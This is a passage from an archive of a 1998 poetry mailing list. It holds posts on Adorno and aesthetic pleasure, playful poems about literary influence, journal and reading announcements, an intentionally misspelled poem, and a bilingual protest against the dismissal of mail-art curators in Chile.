hasn't he yet quoted Stroffolino's "I wish I could control where my shit goes/ but the things

that pass through me were never mine"? Wouldn't that have said everything he's said so far, but more succinctly, & direct from the horse's mouth?

↑ Index

42. MAYHEW
Re: aesthetic pleasure
Wed 2 Sep 1998

Fred wrote:

"Adorno also writes however: "The bourgeois want art voluptuous and life ascetic; the reverse would be better." (AT p 13) - which qualifies what was quoted earlier."

I don't know that this is a significant qualification at all. Can my life be voluptuous if I deny myself artistic pleasure? Where does life end and art begin? Is not aesthetic asceticism itself "bourgeois"? It certainly doesn't come from any other social class known to me.

Did Adorno really want life "voluptuous"? In which case how can he say "in a false world all hedone [i.e. pleasure] is suspect." I suspect that for the sake of a clever chiasmus he asserts something that he doesn't really mean to say.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

43. Poproj
The World 54
Wed 2 Sep 1998

The World 54 is now available from the Poetry Project, featuring:

Roberta Allen
Ece Ayhan
Anselm Berrigan
Charlotte Carter
Allison Adelle Hedge Coke
Clark Coolidge
Marcella Durand
Ed Friedman
Kimiko Hahn

Yukihede Maeshima Hartman
Paul Hoover
Laird Hunt
Christian X. Hunter
Kenneth Koch
Daniel Krakauer
Tan Lin
Pansy Maurer-Alvarez
Gillian McCain
Susan Mills
Murat Nemet-Nejat
Charles North
Guy Overfelt
Ron Padgett
Ann Rower
Edwin Torres
Lewis Warsh
Barrett Watten
Susan Wheeler
Terence Winch

On Sunday, September 13th, 5 pm, at St. Mark's Church, there will be "The World 54 Reading" as part of the St. Mark's Church Open House/Downtown Arts Festival in NYC. Door price $7, students and seniors $4--includes a copy of The World. There will also be dance, church and theater events all day. For more information, call [redacted] or [redacted].

The World is $7 per issue, $25 for a 4-issue subscription. Checks can be made out to: The Poetry Project and mailed to St. Mark's Church, 131 E. 10th St., NY, NY 10003.

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44. daniel bouchard
Re: Where there's smoke there're mirrors
Wed 2 Sep 1998

I love dialogue poems between old married couples.

My guess of influentness: O'Hara via Robert Frost.

At 10:19 AM 9/2/98 -0400, Gary Sullivan wrote:
>A TRUE ACCOUNT OF TALKING MY ROOMMATE INTO BELIEVING
>I'D SAID ANYTHING RELEVANT ABOUT HIS WORK WHATSOEVER
>
>I told Chris to get over it

>& put on his shirt, "Obviously,
>we need

> *Under whose influence was this poem most likely written: ....?*

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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45. hENRY gOULD
Re: Where there's smoke there're mirrors
Wed 2 Sep 1998

THE IMPORTANT ISSUE IS:

when you dream a long complicated dream in which you are being kicked in the head by an ornery mule in Wisconsin before meeting the whole extended family and you suddenly wake up after bumping your noggin on the corner of the bed-frame - was the mule-kick/headbump the origin of the dream narrative or its de-nouement?

are we awake yet?

- zenmeister Spandrift [c/o Pavel Florensky]

↑ Index

46. Gary Sullivan
If you're going to sleep, you might as well dream
Wed 2 Sep 1998

. . . THAT, Henry, is the important issue.

On Wednesday, September 02, 1998 10:47 AM, hENRY gOULD
[SMTP:[redacted]] wrote:
> THE IMPORTANT ISSUE IS:
>
> when you dream a long complicated dream in which you are being kicked in
> the head by an ornery mule in Wisconsin before meeting the whole extended

> family and you suddenly wake up after bumping your noggin on the corner
> of the bedframe - was the mule-kick/headbump the origin of the dream
> narrative or its denouement?
>
> are we awake yet?
>
> - zenmeister Spandrift [c/o Pavel Florensky]

↑ Index

47. MAYHEW
Probable influences
Wed 2 Sep 1998

"The Story of my Life"

Bored with my prose style I vacationed in Tahiti.
The women were not what I expected; no sympathy was demanded of me.

I vacationed in Tahiti, regretting only that fine dust in my nostrils. No sympathy was demanded of me--happily, since I had none to give.

Regretting only that fine dust in my nostrils I lived among the dead, happily. Since I had none to give, I wasn't worried about the blood supply.

I lived among the dead leaves of Autumn. Unaware of the venom, I wasn't worried about the blood supply, not even about those

leaves of Autumn, unaware of the venom in my recalcitrant heart! Not even about those wise enough to invest every cent

in my recalcitrant heart! She might have warned me that she was to invest every cent in such inimitable resorts.

She might have warned me that she was bored with my prose style! In such inimitable resorts the women were not what I expected.

Probable influences on this poem: Gaugin, Heidegger, Ashbery, Rimbaud, San Juan de la Cruz, Gilbert Sorrentino, Juan Ramon Jimenez, Jerome Rothenberg, Celan, "Rene" Rilke, Pasolini, Cavafy, Judith Butler, Antoni Tapies, Jacques Derriere, Eric Dolphy, Andre Gide, Basho Matsuo, Marianne Moore, Pere Gimferrer, Pierre Reverdy, Bill Berkson, Francis Scott O'Hara, Luisa Castro, Juan Goytisolo, Theodor Adorno, Borges, Jose Lezama Lima, Paul Chambers, Guy Davenport, WCW, HD, Pessoa, William Blake, Ruben Dario, Maiakovsky, Leopardo, Quevedo, James Joyce, Henry James, Samuel Beckett, St. Augustine, Leonard Elmore, Li Po, Gary Snyder, Char, Ponge, Ramon Gomez de la Serna, Emily Dickinson, Virginia Wooolf, Horace, Mallarme... (partial list)

But of course if I was really influenced by all these people I would be
a) a better poet OR
b) even MORE derivative...

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

48. Poproj
address request
Wed 2 Sep 1998

If anyone has an e-mail address for Ishmael Klein & could backchannel it to me I'd be much obliged. Thanks.

Anselm Berrigan

↑ Index

49. joel lewis
f.y.i.
Wed 2 Sep 1998

*** Man beaten in 'Titanic' video robbery attempt

SAN FRANCISCO (Reuters) - Has it come to this? A San Francisco man was hospitalized early Tuesday after an assailant pummeled him to the ground, kicked his head, and attempted to steal his new video copy of the movie blockbuster "Titanic." A police spokesman said the two men, who apparently knew each other, were both at a Blockbuster video store on the first night that "Titanic" went on sale. "The assailant punched and kicked the victim, then took the video tape," the spokesman. The 19-year-old victim was treated for an eye injury, while the assailant, aged 22, was arrested and could be charged with aggravated assault, the police spokesman said. "It looks like the Titanic video was secondary in this incident," he said. "Thank goodness - if it was the primary cause we'd all be in big trouble." ###

↑ Index

50. Carl Lynden Peters
Re: Northwest Vispo
Wed 2 Sep 1998

Apologies that this is going to th list, but NICO, cld u please e-mail me?

thanx, c.

> *An Exhibition of Northwest visual & concrete poetry*
>
> *Sept. 1 - 23*
> *opening Sept. 13th 4-6pm*
>
> *at The Richard Hugo House*
> *1634 eleventh Ave*
> *Seattle, WA 98122*
>
> *including work by Maris Kundzins, Helen Lessick, Jim Clinefelter, Crag Hill, Nancy Burns, Heather McHugh, Paul Thaddeus Lambert, M.Kettner, C.C.Elian, Lex Loeb, Thomas Lowe Taylor, C.Bush, Dean Wynveen, Nico Vassilakis, Sloy,Brent Hendricks & others.*
>
> *curated by Nico Vassilakis*

↑ Index

51. Gabriel Gudding
Sycamore Review, featuring...
Wed 2 Sep 1998

Sycamore Review (#10.2) [Summer/Fall 1998]

is even now maturescing on bookstands. And it features...

David Cameron
Joshua Clover
Brenda Coultas
Mark Halliday
Bill Knott
Richard Kostelanetz
Billy Little
Sheila Murphy
Ron Silliman

and some people who write fiction.

↑ Index

52. Katherine Lederer
Re: address request
Wed 2 Sep 1998

Hi Anselm,

I don't think Ishmael has E-mail... I've asked her for her address many times. If you'd like her mailing address (it's changed since the last time I gave it to you), tell me... I'll call it up.

Love,
Katy

↑ Index

53. Brian Lennon
Announcement: Xenia: A Review of Digital Literature and Art
Wed 2 Sep 1998

Announcing the first issue of _Xenia: A Review of Digital Literature and Art_, an electronic journal addressing the impact of digital media on literary and other cultural practices. Issue no. 1 includes "We Interrupt Our Regularly Scheduled Programming," an essay at pedagogy and poetics by Joe Amato; Michael Joyce's review of Dierdre Grimes's on-line text "A journal for my child"; Nell McClister's critical survey of digital art nodes and jump stations on the Web; reviews of on-line serials and a hypermedia work by damian lopes; archival material and more. Please direct your browser to http://www.xeniareview.com.

Brian Lennon [redacted]

xenia: a review of digital literature and art
http://www.xeniareview.com

↑ Index

54. Rachel Levitsky
Re: new chain
Thu 3 Sep 1998

Dear Juliana,

I believe this new chain is included in my subscription. I have moved and in case you haven't sent them out yet my new address is:

Rachel Levitsky
159 Eastern Parkway #6K
Brooklyn, NY 11238

thank you
Rachel

↑ Index

55. Rachel Levitsky
Re: What's there is there. I'm here . . .
Thu 3 Sep 1998

Great collage Gary--how should we perform it?
a million endless and overlapping disembodied voices or
the loudest voice wins?

-rdl

Gary Sullivan wrote:
>
> Last Exit to Multiplicity
>
> or, How I Learned to Stop Worrying & Love the Bottomless Cusp
>
> for Jacques, Jordan, Chris, Susan, Henry, David, David, Mark y Mark y Mark
> & anyone else who wants it
>
> "To speak is to appear as a continuum" --Daniel Davidson
>
> "There isn't room for absolution" --Sheila E. Murphy
>
> "Countless are the beauties of land & sea we've already seen, shining
> brilliantly in the light of our eyes" --Gary Sullivan
>
> "Perception's gifts are too numerous to explain" --Laurie Price
>
> "eternity is a burning intimacy" --Drew Gardner
>
> What I mean to say is, "To begin with, I could have slept with all of the
> people in the poems." (Spicer) In other words, "But they're not perfect he
> said. They're never perfect. There's always something missing." (Di Prima)
And,
> "I begin to copy my favorite pornography books and become the main person
in
> each of them." (Acker) What about the anxiety of the influencial? "But after
> being photographed alongside of me,/ you throw me back. Afraid of what I'd
do/

> inside of you?" (Stroffolino)
>
> The anxiety of the would-be-influential and those who mediate for them is
> palpable today: Every other call in my office from some desperate media hack
> wanting to speak with a Columbia History specialist in Modern British His-
tory
> to give their sad little made-for-TV Diana-narrative credibility. When you
> refuse to help them, they become vicious, threaten to call your supervisor,
the
> Dean, get you removed from your job, "Don't you know who I am? Ned Fer-
geshnurgh
> of NBC!" You can almost feel the sores in Ned's stomach bleeding.
>
> "Not Me" means not necessarily a turn towards hermeticism. Did it for
Eileen?
>
> If I is another, I is not just any other. The self, whether considered as
> construct or consumation, makes itself felt, presently, as specifically made
> manifest:
>
> A Glimpse
>
> There is a knot in the middle of my head
> that will never be untied.
> Two monkeys sit there,
> one on the right turned toward me, the
> other crouched and turned
> away. They
> have red hair and do not play
> with their chains. But sit on a ledge
> above Venice? anyway a city with canals
> painted by Breughel, I see
> them in a mirror when I look for my own face.
>
> (John Wieners)
>
> from As If We Could Ever Be Interested in What's between the Points of
> Interest:
>
> I thought that what I thought was more like
> What I felt than what I did was. But I thought
> (or felt) that others would think that what I did

> Was more like what I felt (and mattered more)
> Than what I thought was. And dressing up like my
> Superego when it thinks the only things that matter
> Are in me, they yell. "Hey, pig, cripple, Mr. Substance-
> But-No-Style, Mr. Signifyin' Monkee." having got my
> Number by the balls, but I was too busy pretending
> I was too busy to listen.
>
> (Chris Stroffolino)
>
> If I am what I read then I am everything I've read, am reading, will read. At
> least. And cultural neglect might allow the poet to say more than patronage:
>
> from Song of the Cut-Price Poets:
>
> To the shafts of your wagons sunk deep in blood and mire
> Time and again we harnessed our splendid words
> Called your huge slaughteryards Fields of Honour
> True steel, trusty companions your bloodstained swords.
>
> (Bertolt Brecht)
>
> from Allowance Money that Is Death to You:
>
> I hold my tongue until sanity goes on strike
> And stinks up the place with saints
> That threaten to dub you satan until vexed
> By breathing past the treelines of martyrdom
> Into the silence that's really the next poem
> Unless you can stir the clouds out without the coffee
> Raining up into your face on a swing casting shadows
>
> (Chris Stroffolino)
>
> And given everything, why not say everything, include everything? There is no
> reason, in our poems, to be monogamists. There is every reason in the world not
> to be. Each, and each And . . .
>
> To be continued as the day wears on . . .

↑ Index

56. david bromige
rainwashed suddenized boats
Thu 3 Sep 1998

On my rain ashed suddenized boat
As we pass tohrug debr s feild
  the brainwas ed sudnaese poet
think terrible terrible hinkings
 harma kharma whhter saboatige or

no tohught c n fiish here but dud
in the thu p of their fiishing
odd h w it froces my engilsh batterer
now the raw comes to prety pegy's c ve
where a poepl of ad pting me still say

oat there oat there on y boe-ut
a mental flap life jokets ab ent life
rainwasht can ck commontator catgores
gretr att active so less glamorous
if you want Real or if not sti l ayerves

I myslef am sl ping on coach next to
the left-on tv a sudd n urgenting tone
is altreing me into a wa efulness
from sweat dra ming rebrith of love
to conq r werald as poets bound to

then impcat slammign my hed, hart sa k
carna e of war Mr. Kent is foretelyng
Norma Lee McLeod sma l bits of rubble
lit by flar s or her saing by prayers
canadian english obtrud ng my (me me) set

 brigign all bakc home our khat oum
if we are fiding out   fairule
purely me hanical isn't altring
pure convict where i am sta ding
brought to o r feet from or is by jfk

origin poin honroring after head man
shaterdt by terrorists i lundered car
hmcs preserver after horse i leaving
war is o ly civilians any more in barn
laughing joking joining mile- igh club

boomb ripped apart 'like wa e on rock'
then ther co munity in breif anexity
wan with the so many cropses to et rnity
sk lit by flaws an inverse oz
how fragile beaut ful objects we created
mr. kent grim hi arous brether

rainwashed suddenized survivo s of cadavers
am I forge ting belief-system raised by
guarantied to m ke death platable
or fantati ally deseriable you come too
fogvie my tpynig am feleing sathered

each a d each and each in catugroey planload

Davood

↑ Index

57. Rachel Loden

query: Unamuno, Mandelstam quotes

Thu 3 Sep 1998

Looking for the source of two (translated) quotes:

"We do not die of darkness, but of the cold." Miguel de Unamuno

"My age, my beast" Mandelstam

Found the Unamuno once in some treatise, but can't remember which. Don't need the page number, just the name of the work. Any tips gratefully received.

Thanks,
Rachel Loden

↑ Index

58. groberts

Strike

Thu 3 Sep 1998

Like the sudden cessation of a hand
Upon your shoulder as you desist
Your activities in light of the demand
For a percentage of the thousand,
So Sosa and McGwire fire again and
Again up into the stands, they insist
On terrifying the air-traffic,
Their chances will not be missed,

Their balls as they run must click
Against the

System check

The engines are running: yes/no.
The natives are running: yes/no.
The Russians are running: yes/no.
The salmon are running: yes/no.
The bulls are running: yes/no.
The noses are running: yes/no.
The sores are running: yes/no.
The horses are hung: yes/no.
The dirty are hungry: yes/no.
The iron hot: yes/no.
Guidance control ready: yes/no.
Launch rescue mission: yes/no.
Fire warning shot over the rainbow: yes/no/now.
From on high no not as in tight or stoned Harry Carey surveys the millennial reparations while pharmaceutical Monica sucks off the tip of an angry iceberg into which my luxury liner your luxury liner everybody's luxury liner suddenly must run: yes/no.
Frivolity is a stern taskmaster: yes/no/maybe so.

↑ Index

59. Irving Weiss
Protests against dismissals
Thu 3 Sep 1998

From Clemente Padin and also from Viktor Todorovic, sent to him by Clemente and thence to other addressees:

I am transmitting you this serious accusation of attack and censorship to the art and, in particular, to the mail art. The success of the campaign depends on you, it is say, it depend on the diffusion that you could give you to the communication (including thw wegsites) and of the expressions of rejection that you transmit to the addresses indicated to the end. Fraternal greetings.

Estimado amigos: Estoy trasmitiendo a Uds. esta grave acusación de ataque y censura al arte y, en particular, al arte correo. El éxito de la campaña depende de Uds., es decir, depende de la difusión que Uds. le puedan dar al comunicado (incluyendo las páginas de internet) y de las expresiones de rechazo que Uds. trasmitan a las direcciones indicadas abajo. Saludos fraternos:

CENSORSHIP AND ATTACK ON MAIL ART IN CHILE

In response of the systematic and offensive political persecution and the intolerance that for various years have been going on at the University of Chile's Fine Art School (actions promoted and spurred by reactionary, totalitarian an pro Pinochet sectors) on March 98, the Mail Art Exhibit "Stop: liberty, diversity and pluralism" was held at the Santiago's Museum of Contemporary Art, in defense of the constant attacks by sectors in power. As a result, Humberto Nilo, the Director of the U. de Chile's Fine Art School and organizer of the event, was dismissed from his position along with the Museum's Director and the Curator of the exhibit: Mrs. Rosario Letelier and Mr. Ernesto Munioz.

The brillant track records of the dismissed wich includes their strong defense of Human Rights during the chilean dictatorship; recuperating Guillermo Deisler memoirs, and hundreds of other artistic manifestation in defense of Human Rights and the dissemination of the best in Contemporary Art, were not taken into account.

It is paradoxical, not to mention denigrating, that after 17 years of military dictatorship in Chile, and after reaching (as certain oficialist sectors proclaim) democratic and social harmony levels worthy of being emulated by the rest of the continent; we have to experience the sad spectacle in wich cultural spaces are closed through economic strangulation, harrassment and dismissal of distinguished artists, simply because they don't share the "official line" and open or covert censorship of critical manifestations on what's established and current.

These cases, are not only attacks on people of proven professional and artistic excellence, they constitute a frontal attack on the principles that ground culture, in addition to being a crass outrage on the libertarian aspirations of an broad sector of the national and international artistic community. It is time we sponsor and stimulate the global coscience among all those artists who believe on the diversity and pluralism in art, to confront outrages such as that have just taken place in Chile. It has to be done now, since with the sophisticated strategies for manipulation and control, in the hands of the new inquisitioners of culture... tomorrow could be too late!

The intolerance and desdain for cultural diversity are achieving strategic permanence in those places that have historically been destinated to protecting diversity. Perhaps that's why there's been a strong push to silence them. What about critical view and reflection? Or is it that we are facing the beginning of a world regime with a cultural policy that is predominently non-critical, blind and "light" aligned with the purposes of Neo-liberalism?

Faced with the fear that the arrogance and brutality of the chilean regime could put in peril the future of Humberto Nilo, Rosario Letelier and Ernesto Munioz, we begin this World Campaign to repudiate censorship and personal attacks

against any artist, regardless of whether he practices Mail Art, anywhere on the face of the Earth, requesting from everyone to send-in expressions of solidarity and rejection against all sorts of discriminatory policies on cultural matters, so that in some way, their offenders can't get away with their threats unscathed.

CENSURA Y ATAQUE AL ARTE CORREO EN CHILE

A raíz de las sistemáticas y ofensivas persecuciones políticas e intolerancia que por varios años se dan en la Facultad de Artes de la Universidad de Chile -acciones promovidas e incitadas por sectores reaccionarios, totalitaristas y Pinochetistas- se convocó y realizó el pasado marzo de 1998, la exposición de arte correo "STOP: libertad, diversidad y pluralismo", en defensa de los constantes ataques de estos sectores de poder, en el Museo de Arte Contemporáneo de Santiago. Como resultado de la misma, el Director de la Escuela de Bellas Artes de la Universidad de Chile, Humberto Nilo, organizador de la muestra, no sólo fue expulsado de su cargo, sino también, el Director y Curador del Museo que albergó la exposición la Sra. Rosario Letelier y el Sr. Ernesto Muñoz.

De nada sirvieron las brillantes trayectorias de los expulsados ni su férrea defensa de los derechos humanos durante la dictadura chilena, incluyendo la recuperación de la memoria de Guillermo Deisler, el eterno exiliado, y cientos de otras manifestaciones artísticas en defensa de los derechos humanos y la difusión de lo mejor del arte contemporáneo.

Resulta paradójico, por no decir denigrante, que después de 17 años de dictadura militar en Chile, y habiendo alcanzado -según lo pregonan ciertos sectores oficialistas- unos niveles de democracia y convivencia social dignos de emular en el resto del continente; tengamos que asistir al triste espectáculo de cierre de espacios culturales a través del estrangulamiento económico, el hostigamiento y despido de sus empleos de destacados artistas por no compartir con la línea oficial y la censura abierta o solapada de toda manifestación crítica sobre lo establecido y lo vigente.

Estos casos no son sólo ataques a personas de probada excelencia profesional y artística, sino más bien constituyen un ataque frontal a los principios que cimientan la cultura, además de un craso atropello a las aspiraciones libertarias de un amplio sector de la comunidad artística tanto nacional como internacional. Es hora de fomentar e incentivar la conciencia mundial entre todos aquellos artistas que creemos en la diversidad y pluralidad del arte, para hacerle frente a atropellos como el que acaba de ocurrir en Chile. Y tiene que ser ahora, ya que con las sofisticadas estrategias de manipulación y control en manos de los nuevos inquisidores de la cultura... ¡mañana podría resultar demasiado tarde!

La intolerancia y el desprecio por la diversidad cultural están entronizándose justamente en aquellos lugares destinados históricamente a ser la salvaguarda de esa diversidad. Quizás por eso mismo es que se despliega un ahínco feroz y mordaz para silenciarlos. ¿Y la visión crítica y la reflexión? ¿O es que estamos ante los inicios de un régimen mundial con una política cultural predominantemente acrítica, ciega y "light" afin con los propósitos del neoliberalismo?

Ante el temor de que los desplantes y la brutalidad del régimen chileno puedan poner en peligro la suerte de Humberto Nilo, Rosario Letelier y Ernesto Muñoz, se inicia esta campaña mundial de repudio a la censura y al ataque personal contra cualquier artista, practique o no el arte correo, en cualquier lugar del planeta, solicitando al mundo entero que envíen expresiones de apoyo solidario y rechazo frontal hacia todo tipo de política discriminatoria en materia cultural, para que de alguna manera, sus ofensores no puedan llevar a cabo sus amenazas impunemente.

Send your messages to by post mail, fax and/or e-mail to:
Comunicaciones vía postal, fax y/o correo electrónico a:

Humberto Nilo Saavedra
Calama 8435, La Cisterna, Santiago, CHILE
tel. 5581888
[redacted]

Presidente de la República: Sr. Eduardo Frei Ruiz Tagle
Dirección postal/postal address: Palacio de la Moneda, Av. Libertador Bernardo
O´´Higgins, Santiago, Chile. Fax: 6387332
Email: [redacted]

Presidente de la Cámara de Diputados: Sr. Gutemberg Martínez Dirección postal/postal address: Av. Pedro Montt s/n , Valparaíso, Chile. Fax: 6874152
Email: [redacted] ó/or [redacted] (secretarias de Gabinetes)

Presidente del Senado: Sr. Andrés Zaldivar Larraín
Dirección postal/postal address: Av. Pedro Montt s/n, Valparaíso, Chile.
Fax: 6326603
Email: [redacted] ó/or [redacted] (secretarias de
Gabinetes)

Rector de la Universidad de Chile: Sr. Luis Riveros
Dirección postal/postal address: Av. Libertador Bernardo O´Higgins 1058
Fax: 6781012
Email: [redacted]

Ministro de Educación: Sr. José Pablo Arellano
Dirección postal/postal address: Av. Libertador Bernardo O´Higgins 1317,

Santiago,
Chile. Fax: 6716164
Email: [redacted]

Agencia UPI: Sr. Rodrigo Bustamante(editor)
Dirección postal/ postal address: Nataniel 47, piso 9, Santiago, Chile.
Fax: 6986605

Agencia ORBE: Sra. Marisol Freire(editor)
Dirección postal/ postal address: Phillips 56, oficina 66, Santiago, Chile.
Fax: 6396826

Clemente Padín

http://www.postypographika.com/menu-en1/paraleng/parpadin/padinbio.htm
http://www.concentric.net/~Lndb/padin/1cpcont.htm
http://www.thing.net/~grist/l&d/padinl.htm
http://www.artepostal.org.mx/artistas/padin.html
http://www.ubuweg.com/vp/index3.html
http://www.geocities.com/SoHo/Café/1492/lit-tax.html
http://www.geocities.com/Paris/LeftBank/2721
http://www.abaforum.es/merzmail/lapoesia.htm

Irving Weiss
http://members.tripod.com/~sialbach/

↑ Index

60. Magdalena Zurawski
(no subject)
Thu 3 Sep 1998

---

iS mR. sTROFFOLINO iN thE hOUSE?

i hAD a rOCK & rOLL qUESTION. pLEASE bACKCHANNEL.

tHANKS,
mAGGIE
Magdalena Zurawski
Executive Development Programs
Stern School of Business

↑ Index

61. A. Jenn Sondheim

In this empty space, this space of announcement, not enunciation, or catastrophic loss of _the body of the text,_ I would approach you, murmuring against all asides what is broken by you as _this_ is broken by you, what you bring together as _this_ is sutured against the will, the cut, the wound, the miracle of flesh bound by forgotten space which tells you nothing more than this is _it_ (fwd)

Thu 3 Sep 1998

.

↑ Index

62. Karen and Trevor

(Looking for) Dodie and Kevin

Thu 3 Sep 1998

I'm wondering if Dodie and Kevin have changed their e-mail address, or perhaps that my two e-mail messages never reached them?

But of course, if anyone's just received the new SPT flyer, you can imagine, like me, how busy they are putting togther such a wonderful calendar of events!

Karen McKevitt

↑ Index

63. Karen and Trevor

get getting word

Thu 3 Sep 1998

Announcing:

The publication of _getting word_, poetry by exciting new poet Nicole Brodsky.

getting word is the winner of the 1998 Michael Rubin Chapbook Award (judge, Carol Snow) administered by Fourteen Hills: The SFSU Review.

Carol Snow writes: "For its moments of hilarity and moments of truth....For its grammar and usuage--'usage is both social and solitary'--so playfully in hand. For the formal invention of the original and more difficult longer sequences....Undeniable."

Nicole Brodsky is a MFA candidate in poetry at SFSU where she also teaches composition and is a animal rights activist.

getting word is a mere $7 (62 pages) and is available through Small
Press Distribution in Berkeley or send a check payable to Fourteen Hills
(indicate you want the book and not the magazine) to:
Creative Writing Department

SFSU
1600 Holloway
San Francisco, CA 94132

↑ Index

64. Daniel Zimmerman
Feedback?
Fri 4 Sep 1998

Dear Listees:

This semester, I'll teach a course called Introduction to Poetry at my college, and I've created a web page -- my first --for my students. I haven't registered it yet with any search engines; I'd like some feedback first, if you feel so inclined. For example, I'd like to know if anyone has problems reading any of the sections of the page; if so, which sections? What browser do you use? What size screen? What appearance settings/video controller? And beyond the technical matters, what do you think of the approach?

You can check it out at:

http://idt.net/~daniel7

Thanks,

Dan Zimmerman

↑ Index

65. J. Kuszai
under thirty and over 60
Fri 4 Sep 1998

I may show up at the RIBOT conference with a picket sign, because I, as someone born in 67, seem to be stuck between generational identifiers.

"Over 60 Under 30 (poets & visual artists from around the world, born before 1938 after 1968)"

What is the purpose of organizing groups of writers based on age? The obvious missing links are always in the wrong place and the list of exceptions is longer than the likenesses exhibited by those of the same "generation"

as Armand Schwerner once said, it seems that there is a turnover in poetry generations about every five years or so.

It makes sense, I think, to identify poets of a particular place and time, or even of a specific time and no particular place. Or a particular place at any time.

If we could narrow it to that, we could get pretty "exclusive" and that would allow us to say somethings. I have been reading Bill Luoma's book WORKS & DAYS and which is HIGHLY RECOMMENDED reading not only for its poetic "on-base percentage" but for what Eileen Myles describes in one of the best blurbs ever, as the "...expressing being alive in groups..." which is crucial, I think, for an understanding of what such group designations can mean. And he writes about San Diego in the 80s and New York in the 90s and it has meaning for me, even though I wasn't there.

Anyhow- Bill's terms of the literary community, which involve personal mythologies born out of creative isolationism, transcend literary posturing. Or so it seems to me. Havign left Buffalo, I see how highly bureaucratic that lifestyle is/was, how it already presupposes the kinds of community that develop in spite of it. And there is community there, inspite of the fact that the community would be there even if the people werent...

And that's my terribly blathering point, that what is the point of such generational designations. What is it that people are trying to learn about themselves that they need to be marketed in that "rent a beatnik" kind of way. What formal or social concerns determine how these groups get constituted. Obviously, if you live in New york, these questions are easier to answer. "We're the group that met at that bar every week." "We're the group the met at the church" etc. etc.

but what does that mean?

↑ Index

66. Poetics List

papers for 20th-century literature conference (fwd)

Fri 4 Sep 1998

---

this wandered it way to poetics home office. anyone have any more info about this conf.?
jk

---------- Forwarded message ----------
From: [redacted]
Subject: papers for 20th-century literature conference

Call for papers:

Panel proposal at the 20th-Century Literature Conference at the University of Louisville, Feb. 25-25th 1999

"Transgressive Prediscoveries": Women Writing L=A=N=G=U=A=G=E

This panel focuses on the question of whether there are common agendas or stylistic traits among the women poets associated with L=A=N=G=U=A=G=E. It looks intensively at Susan Howe's description in The Birth-Mark of a writing of "prediscovery" that determines its own rules of transcription and interpretation.

Please send a 250-300 word abstract and a brief CV to Susan Vanderborg:

[redacted]

or
Susan Vanderborg
Department of English
University of South Carolina
Columbia, SC 29208

↑ Index

67. P.Standard Schaefer
Byrd/common knowledge
Fri 4 Sep 1998

Listees:

Recently finished Don Byrd's provocative THE POETICS OF COMMON KNOWLEDGE in which he contends that most contemporary poetry is irrelevant because it has failed to address information theory (which was only meant to be used for computer engineering, if I'm not mistaken. I was wondering if I've missed any serious conversation or reviews on the book. If anyone has any response to the book, I'd like to hear from them. I never felt that "common knowledge" was particularly well defined in the book, but was intrigued by the idea of "information" replacing the role of "substance" in traditional philosophy. Also not clear to me was what Byrd thought the effect of information/communication theory should be on contemporary poetry. Reminded me faintly of Fish's essay on speech acts in IS THERE A TEXT IN THIS CLASS? which Fish says in most interesting because he chose a text that is directly concerned with "speech acts". The impact of such explorations on other texts seems relatively uncertain.

One of the more confusing ideas in the book is just exactly how "interest" (which he opposes to "interpretation") creates meaning.

Is it anyone else's opinion that the book merely raises questions or did I miss something?

Thanks

Standard

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68. **Peter Ganick**
attack to artists...
Fri 4 Sep 1998

Subject:
Fw: Attack to artists
Date:
Thu, 3 Sep 1998 01:00:31 +0200
From:
"H. Braumueller" <[redacted]>

Date: Tuesday, September 01, 1998 2:35 PM
Subject: Attack to artists

Dear friends:
I am transmitting you this serious accusation of attack
and censorship to the art and, in particular, to the mail art. The success
of the campaign depends on you, it is say, it depend on the diffusion that
you could give you to the communication (including thw wegsites) and of the
expressions of rejection that you transmit to the addresses indicated to
the end. Fraternal greetings.

Estimado amigos:
Estoy trasmitiendo a Uds. esta grave acusación
de ataque y censura al arte y, en particular, al arte correo. El éxito de
la campaña depende de Uds., es decir, depende de la difusión que Uds. le
puedan dar al comunicado (incluyendo las páginas de internet) y de las
expresiones de rechazo que Uds. trasmitan a las direcciones indicadas
abajo. Saludos fraternos:

CENSORSHIP AND ATTACK ON MAIL ART IN CHILE

In response of the systematic and offensive political persecution and the intolerance that for various years have been going on at the University of Chile's Fine Art School (actions promoted and spurred by reactionary, totalitarian an pro Pinochet sectors) on March 98, the Mail Art Exhibit "Stop: liberty, diversity and pluralism" was held at the Santiago's Museum of Contemporary Art, in defense of the constant attacks by sectors in power. As a result, Humberto Nilo, the

Director of the U. de Chile's Fine Art School and organizer of the event, was dismissed from his position along with the Museum's Director and the Curator of the exhibit: Mrs. Rosario Letelier and Mr. Ernesto Munioz.

The brillant track records of the dismissed wich includes their strong defense of Human Rights during the chilean dictatorship; recuperating Guillermo Deisler memoirs, and hundreds of other artistic manifestation in defense of Human Rights and the dissemination of the best in Contemporary Art, were not taken into account.

It is paradoxical, not to mention denigrating, that after 17 years of military dictatorship in Chile, and after reaching (as certain oficialist sectors proclaim) democratic and social harmony levels worthy of being emulated by the rest of the continent; we have to experience the sad spectacle in wich cultural spaces are closed through economic strangulation, harrassment and dismissal of distinguished artists, simply because they don't share the "official line" and open or covert censorship of critical manifestations on what's established and current.

These cases, are not only attacks on people of proven professional and artistic excellence, they constitute a frontal attack on the principles that ground culture, in addition to being a crass outrage on the libertarian aspirations of an broad sector of the national and international artistic community. It is time we sponsor and stimulate the global coscience among all those artists who believe on the diversity and pluralism in art, to confront outrages such as that have just taken place in Chile. It has to be done now, since with the sophisticated strategies for manipulation and control, in the hands of the new inquisitioners of culture... tomorrow could be too late!

The intolerance and desdain for cultural diversity are achieving strategic permanence in those places that have historically been destinated to protecting diversity. Perhaps that's why there's been a strong push to silence them. What about critical view and reflection? Or is it that we are facing the beginning of a world regime with a cultural policy that is predominently non-critical, blind and "light" aligned with the purposes of Neo-liberalism?

Faced with the fear that the arrogance and brutality of the chilean regime could put in peril the future of Humberto Nilo, Rosario Letelier and Ernesto Munioz, we begin this World Campaign to repudiate censorship and personal attacks against any artist, regardless of whether he practices Mail Art, anywhere on the face of the Earth, requesting from everyone to send-in expressions of solidarity and rejection against all sorts of discriminatory policies on cultural matters, so that in some way, their offenders can't get away with their threats unscathed.

CENSURA Y ATAQUE AL ARTE CORREO EN CHILE

